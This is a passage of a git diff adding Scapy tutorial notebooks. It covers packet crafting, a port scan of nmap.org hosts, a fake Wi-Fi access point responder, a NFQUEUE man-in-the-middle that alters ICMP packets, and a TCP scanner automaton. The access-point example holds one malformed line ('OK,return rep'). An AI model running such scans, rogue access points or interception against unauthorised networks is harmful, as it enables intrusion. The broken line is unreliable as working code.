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\n",
+      "text/plain": [
+       "<matplotlib.figure.Figure at 0x7f2c2c0b2fd0>"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "text/plain": [
+       "[[<matplotlib.lines.Line2D at 0x7f2c23b62850>]]"
+      ]
+     },
+     "execution_count": 23,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "ans.world_trace()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "The `PacketList.make_table()` function can be very helpful. Here is a simple \"port scanner\":"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 29,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "          45.33.32.156 45.33.49.119 \n",
+      "tcp/22    SA           SA           \n",
+      "tcp/31337 SA           RA           \n",
+      "tcp/443   RA           SA           \n",
+      "tcp/80    SA           SA           \n",
+      "udp/53    dest-unreach -            \n"
+     ]
+    }
+   ],
+   "source": [
+    "ans = sr(IP(dst=[\"scanme.nmap.org\", \"nmap.org\"])/TCP(dport=[22, 80, 443, 31337]), timeout=3, verbose=False)[0]\n",
+    "ans.extend(sr(IP(dst=[\"scanme.nmap.org\", \"nmap.org\"])/UDP(dport=53)/DNS(qd=DNSQR()), timeout=3, verbose=False)[0])\n",
+    "ans.make_table(lambda (x, y): (x[IP].dst, x.sprintf('%IP.proto%/{TCP:%r,TCP.dport%}{UDP:%r,UDP.dport%}'), y.sprintf('{TCP:%TCP.flags%}{ICMP:%ICMP.type%}')))"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## Implementing a new protocol"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Scapy can be easily extended to support new protocols.\n",
+    "\n",
+    "The following example defines DNS over TCP. The `DNSTCP` class inherits from `Packet` and defines two field: the length, and the real DNS message. The `length_of` and `length_from` arguments link the `len` and `dns` fields together. Scapy will be able to automatically compute the `len` value."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 119,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "class DNSTCP(Packet):\n",
+    "    name = \"DNS over TCP\"\n",
+    "    \n",
+    "    fields_desc = [ FieldLenField(\"len\", None, fmt=\"!H\", length_of=\"dns\"),\n",
+    "                    PacketLenField(\"dns\", 0, DNS, length_from=lambda p: p.len)]\n",
+    "    \n",
+    "    # This method tells Scapy that the next packet must be decoded with DNSTCP\n",
+    "    def guess_payload_class(self, payload):\n",
+    "        return DNSTCP"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "This new packet definition can be direcly used to build a DNS message over TCP."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 120,
+   "metadata": {},
+   "outputs": [
+    {
+     "data": {
+      "text/plain": [
+       "<DNSTCP  len=12 dns=<DNS  id=0 qr=0L opcode=QUERY aa=0L tc=0L rd=0L ra=0L z=0L ad=0L cd=0L rcode=ok qdcount=0 ancount=0 nscount=0 arcount=0 |> |>"
+      ]
+     },
+     "execution_count": 120,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "# Build then decode a DNS message over TCP\n",
+    "DNSTCP(raw(DNSTCP(dns=DNS())))"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Modifying the previous `StreamSocket` example to use TCP allows to use the new `DNSCTP` layer easily."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 122,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "\n",
+      "Received 1 packets, got 1 answers, remaining 0 packets\n",
+      "Begin emission:\n",
+      "Finished to send 1 packets.\n"
+     ]
+    },
+    {
+     "data": {
+      "text/plain": [
+       "<DNSTCP  len=49 dns=<DNS  id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L ad=0L cd=0L rcode=ok qdcount=1 ancount=1 nscount=0 arcount=0 qd=<DNSQR  qname='www.example.com.' qtype=A qclass=IN |> an=<DNSRR  rrname='www.example.com.' type=A rclass=IN ttl=12101 rdata='93.184.216.34' |> ns=None ar=None |> |>"
+      ]
+     },
+     "execution_count": 122,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "import socket\n",
+    "\n",
+    "sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # create an TCP socket\n",
+    "sck.connect((\"8.8.8.8\", 53))  # connect to 8.8.8.8 on 53/TCP\n",
+    "\n",
+    "# Create the StreamSocket and gives the class used to decode the answer\n",
+    "ssck = StreamSocket(sck)\n",
+    "ssck.basecls = DNSTCP\n",
+    "\n",
+    "# Send the DNS query\n",
+    "ssck.sr1(DNSTCP(dns=DNS(rd=1, qd=DNSQR(qname=\"www.example.com\"))))"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## Scapy as a module"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "So far, Scapy was only used from the command line. It is also a Python module than can be used to build specific network tools, such as ping6.py:"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "    from scapy.all import *\n",
+    "    import argparse\n",
+    "\n",
+    "    parser = argparse.ArgumentParser(description=\"A simple ping6\")\n",
+    "    parser.add_argument(\"ipv6_address\", help=\"An IPv6 address\")\n",
+    "    args = parser.parse_args()\n",
+    "\n",
+    "    print sr1(IPv6(dst=args.ipv6_address)/ICMPv6EchoRequest(), verbose=0).summary()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## Answering machines"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "A lot of attack scenarios look the same: you want to wait for a specific packet, then send an answer to trigger the attack.\n",
+    "\n",
+    "To this extent, Scapy provides the `AnsweringMachine` object. Two methods are especially useful:\n",
+    "1. `is_request()`: return True if the `pkt` is the expected request\n",
+    "2. `make_reply()`: return the packet that must be sent\n",
+    "\n",
+    "The following example uses Scapy Wi-Fi capabilities to pretend that a \"Scapy !\" access point exists.\n",
+    "\n",
+    "Note: your Wi-Fi interface must be set to monitor mode !"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 129,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Specify the Wi-Fi monitor interface\n",
+    "#conf.iface = \"mon0\"  # uncomment to test\n",
+    "\n",
+    "# Create an answering machine\n",
+    "class ProbeRequest_am(AnsweringMachine):\n",
+    "  function_name = \"pram\"\n",
+    "\n",
+    "  # The fake mac of the fake access point\n",
+    "  mac = \"00:11:22:33:44:55\"\n",
+    "\n",
+    "  def is_request(self, pkt):\n",
+    "    return Dot11ProbeReq in pkt\n",
+    "\n",
+    "  def make_reply(self, req):\n",
+    "\n",
+    "    rep = RadioTap()\n",
+    "    # Note: depending on your Wi-Fi card, you might need a different header than RadioTap()\n",
+    "    rep /= Dot11(addr1=req.addr2, addr2=self.mac, addr3=self.mac, ID=RandShort(), SC=RandShort())\n",
+    "    rep /= Dot11ProbeResp(cap=\"ESS\", timestamp=time.time())\n",
+    "    rep /= Dot11Elt(ID=\"SSID\",info=\"Scapy !\")\n",
+    "    rep /= Dot11Elt(ID=\"Rates\",info=b'\\x82\\x84\\x0b\\x16\\x96')\n",
+    "    rep /= Dot11Elt(ID=\"DSset\",info=chr(10))\n",
+    "\n",
+    "    OK,return rep\n",
+    "\n",
+    "# Start the answering machine\n",
+    "#ProbeRequest_am()()  # uncomment to test"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## Cheap Man-in-the-middle with NFQUEUE"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "NFQUEUE is an iptables target than can be used to transfer packets to userland process. As a nfqueue module is available in Python, you can take advantage of this Linux feature to perform Scapy based MiTM.\n",
+    "\n",
+    "This example intercepts ICMP Echo request messages sent to 8.8.8.8, sent with the ping command, and modify their sequence numbers. In order to pass packets to Scapy, the following `iptable` command put packets into the NFQUEUE #2807:\n",
+    "\n",
+    "$ sudo iptables -I OUTPUT --destination 8.8.8.8 -p icmp -o eth0 -j NFQUEUE --queue-num 2807"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "    from scapy.all import *\n",
+    "    import nfqueue, socket\n",
+    "\n",
+    "    def scapy_cb(i, payload):\n",
+    "      s = payload.get_data()  # get and parse the packet\n",
+    "      p = IP(s)\n",
+    "\n",
+    "      # Check if the packet is an ICMP Echo Request to 8.8.8.8\n",
+    "      if p.dst == \"8.8.8.8\" and ICMP in p:\n",
+    "        # Delete checksums to force Scapy to compute them\n",
+    "        del(p[IP].chksum, p[ICMP].chksum)\n",
+    "        \n",
+    "        # Set the ICMP sequence number to 0\n",
+    "        p[ICMP].seq = 0\n",
+    "        \n",
+    "        # Let the modified packet go through\n",
+    "        ret = payload.set_verdict_modified(nfqueue.NF_ACCEPT, raw(p), len(p))\n",
+    "        \n",
+    "      else:\n",
+    "        # Accept all packets\n",
+    "        payload.set_verdict(nfqueue.NF_ACCEPT)\n",
+    "\n",
+    "    # Get an NFQUEUE handler\n",
+    "    q = nfqueue.queue()\n",
+    "    # Set the function that will be call on each received packet\n",
+    "    q.set_callback(scapy_cb)\n",
+    "    # Open the queue & start parsing packes\n",
+    "    q.fast_open(2807, socket.AF_INET)\n",
+    "    q.try_run()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "# Automaton"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "When more logic is needed, Scapy provides a clever way abstraction to define an automaton. In a nutshell, you need to define an object that inherits from `Automaton`, and implement specific methods:\n",
+    "- states: using the `@ATMT.state` decorator. They usually do nothing\n",
+    "- conditions: using the `@ATMT.condition` and `@ATMT.receive_condition` decorators. They describe how to go from one state to another\n",
+    "- actions: using the `ATMT.action` decorator. They describe what to do, like sending a back, when changing state"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "The following example does nothing more than trying to mimic a TCP scanner:"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 6,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "-> SYN\n",
+      "<- SYN/ACK\n"
+     ]
+    }
+   ],
+   "source": [
+    "class TCPScanner(Automaton):\n",
+    "\n",
+    "    @ATMT.state(initial=1)\n",
+    "    def BEGIN(self):\n",
+    "        pass\n",
+    "\n",
+    "    @ATMT.state()\n",
+    "    def SYN(self):\n",
+    "        print \"-> SYN\"\n",
+    "\n",
+    "    @ATMT.state()\n",
+    "    def SYN_ACK(self):\n",
+    "        print \"<- SYN/ACK\"\n",
+    "        raise self.END()\n",
+    "\n",
+    "    @ATMT.state()\n",
+    "    def RST(self):\n",
+    "        print \"<- RST\"\n",
+    "        raise self.END()\n",
+    "\n",
+    "    @ATMT.state()\n",
+    "    def ERROR(self):\n",
+    "        print \"!! ERROR\"\n",
+    "        raise self.END()\n",
+    "    @ATMT.state(final=1)\n",
+    "    def END(self):\n",
+    "        pass\n",
+    "    \n",
+    "    @ATMT.condition(BEGIN)\n",
+    "    def condition_BEGIN(self):\n",
+    "        raise self.SYN()\n",
+    "\n",
+    "    @ATMT.condition(SYN)\n",
+    "    def condition_SYN(self):\n",
+    "\n",
+    "        if random.randint(0, 1):\n",
+    "            raise self.SYN_ACK()\n",
+    "        else:\n",
+    "            raise self.RST()\n",
+    "\n",
+    "    @ATMT.timeout(SYN, 1)\n",
+    "    def timeout_SYN(self):\n",
+    "        raise self.ERROR()\n",
+    "\n",
+    "TCPScanner().run()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 7,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "-> SYN\n",
+      "<- RST\n"
+     ]
+    }
+   ],
+   "source": [
+    "TCPScanner().run()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "# Pipes"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Pipes are an advanced Scapy feature that aims sniffing, modifying and printing packets. The API provides several buildings blocks. All of them, have high entries and exits (>>) as well as low (>) ones.\n",
+    "\n",
+    "For example, the `CliFeeder` is used to send message from the Python command line to a low exit. It can be combined to the `InjectSink` that reads message on its low entry and inject them to the specified network interface. These blocks can be combined as follows:"
+   ]
+  },
+  {
+   "cell_type": "raw",
+   "metadata": {},
+   "source": [
+    "# Instanciate the blocks\n",
+    "clf = CLIFeeder()\n",
+    "ijs = InjectSink(\"enx3495db043a28\")\n",
+    "\n",
+    "# Plug blocks together\n",
+    "clf > ijs\n",
+    "\n",
+    "# Create and start the engine\n",
+    "pe = PipeEngine(clf)\n",
+    "pe.start()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Packet can be sent using the following command on the prompt:"
+   ]
+  },
+  {
+   "cell_type": "raw",
+   "metadata": {},
+   "source": [
+    "clf.send(\"Hello Scapy !\")"
+   ]
+  }
+ ],
+ "metadata": {
+  "kernelspec": {
+   "display_name": "Python 2",
+   "language": "python",
+   "name": "python2"
+  },
+  "language_info": {
+   "codemirror_mode": {
+    "name": "ipython",
+    "version": 2
+   },
+   "file_extension": ".py",
+   "mimetype": "text/x-python",
+   "name": "python",
+   "nbconvert_exporter": "python",
+   "pygments_lexer": "ipython2",
+   "version": "2.7.12"
+  }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 1
+}
diff --git a/doc/notebooks/graphs-ipids.ipynb b/doc/notebooks/graphs-ipids.ipynb
new file mode 100644
index 0000000..24bd4ef
--- /dev/null
+++ b/doc/notebooks/graphs-ipids.ipynb
@@ -0,0 +1,611 @@
+{
+ "metadata": {
+  "name": ""
+ },
+ "nbformat": 3,
+ "nbformat_minor": 0,
+ "worksheets": [
+  {
+   "cells": [
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "from scapy.all import *"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stderr",
+       "text": [
+        "WARNING: No route found for IPv6 destination :: (no default route?)\n"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stderr",
+       "text": [
+        "WARNING:scapy.runtime:No route found for IPv6 destination :: (no default route?)\n"
+       ]
+      }
+     ],
+     "prompt_number": 1
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "ans, unans = srloop(IP(dst=[\"8.8.8.8\", \"8.8.4.4\"])/ICMP(), inter=.1, timeout=.1, count=100, verbose=False)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\r",
+        "send...\r",
+        "\r",
+        "send...\r"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
